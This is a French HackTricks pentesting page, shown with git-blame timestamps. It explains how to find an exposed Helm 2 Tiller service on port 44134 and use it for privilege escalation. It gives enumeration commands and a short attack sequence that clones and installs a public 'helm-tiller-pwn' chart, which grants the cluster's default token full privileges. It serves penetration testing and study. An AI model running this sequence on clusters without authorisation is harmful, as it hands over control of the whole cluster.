hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

69 lines
4.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
# Informations de base
2021-12-29 12:26:06 +00:00
Helm est le **gestionnaire de packages** pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des référentiels publics et privés. Ces packages sont appelés **Helm Charts**. **Tiller** est le **service** **exécuté** par défaut sur le port 44134 offrant le service.
2021-12-29 12:26:06 +00:00
2023-06-03 13:10:46 +00:00
**Port par défaut :** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2023-06-03 13:10:46 +00:00
# Énumération
2021-12-29 12:26:06 +00:00
Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom**:
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
Exemples :
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Vous pourriez également essayer de trouver ce service en vérifiant le port 44134 :
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using\_helm/#installing-helm).
2021-12-29 12:26:06 +00:00
Ensuite, vous pouvez **énumérer le service**:
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
2023-06-03 13:10:46 +00:00
## Élévation de privilèges
2021-12-29 12:26:06 +00:00
Par défaut, **Helm2** était installé dans l'**espace de noms kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**élever les privilèges**.
2021-12-29 12:26:06 +00:00
Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera **accès au jeton de service par défaut à tout dans l'ensemble du cluster**.
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez **l'explication de l'attaque**, mais en gros, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) à l'intérieur de _helm-tiller-pwn/pwnchart/templates/_ vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.